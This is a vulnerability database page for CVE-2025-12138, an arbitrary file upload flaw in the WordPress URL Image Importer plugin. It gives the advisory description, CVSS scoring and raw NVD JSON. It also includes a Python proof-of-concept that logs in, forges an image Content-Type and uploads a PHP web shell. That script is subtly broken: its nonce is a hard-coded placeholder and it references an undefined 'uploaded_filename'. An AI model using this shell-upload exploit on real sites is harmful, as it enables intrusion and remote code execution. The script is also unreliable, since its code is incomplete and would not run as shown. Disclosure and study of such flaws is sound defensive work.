Security Vulnerability Report
中文
CVE-2025-12138 CVSS 8.8 HIGH

CVE-2025-12138

Published: 2025-11-21 08:15:53
Last Modified: 2026-04-15 00:35:42

Description

The URL Image Importer plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.0.6. This is due to the plugin relying on a user-controlled Content-Type HTTP header to validate file uploads in the 'uimptr_import_image_from_url()' function which writes the file to the server before performing proper validation. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible via the uploaded PHP file.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

URL Image Importer插件 <= 1.0.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2025-12138 PoC - Arbitrary File Upload in URL Image Importer WordPress Plugin # Target: WordPress site with URL Image Importer plugin <= 1.0.6 def upload_shell(target_url, username, password, shell_content): """ Upload arbitrary file via the vulnerable endpoint """ # Login to WordPress login_url = f"{target_url}/wp-login.php" session = requests.Session() login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } session.post(login_url, data=login_data) # Get nonce for the import action admin_url = f"{target_url}/wp-admin/admin.php?page=uimptr_settings" resp = session.get(admin_url) # Extract nonce (simplified - in real attack would need proper extraction) nonce = "extracted_nonce_value" # Upload malicious file with forged Content-Type upload_url = f"{target_url}/wp-admin/admin-ajax.php" files = { 'uimptr_import_file': ('shell.php', shell_content, 'image/jpeg') # Forged type } data = { 'action': 'uimptr_import_image_from_url', 'nonce': nonce } response = session.post(upload_url, files=files, data=data) if response.status_code == 200: # Extract uploaded file path from response print(f"[+] File uploaded successfully") print(f"[+] Shell location: {target_url}/wp-content/uploads/{uploaded_filename}") else: print(f"[-] Upload failed") if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <shell_file>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] with open(sys.argv[4], 'r') as f: shell = f.read() upload_shell(target, user, pwd, shell)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12138", "sourceIdentifier": "[email protected]", "published": "2025-11-21T08:15:52.963", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The URL Image Importer plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file type validation in all versions up to, and including, 1.0.6. This is due to the plugin relying on a user-controlled Content-Type HTTP header to validate file uploads in the 'uimptr_import_image_from_url()' function which writes the file to the server before performing proper validation. This makes it possible for authenticated attackers, with Author-level access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible via the uploaded PHP file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-434"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L1319", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L1353", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L1358", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/url-image-importer/trunk/url-image-importer.php#L198", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3395852%40url-image-importer&new=3395852%40url-image-importer&sfp_email=&sfph_mail=#file9", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1da18430-1bd0-4f63-9e22-5d26de2be410?source=cve", "source": "[email protected]"}]}}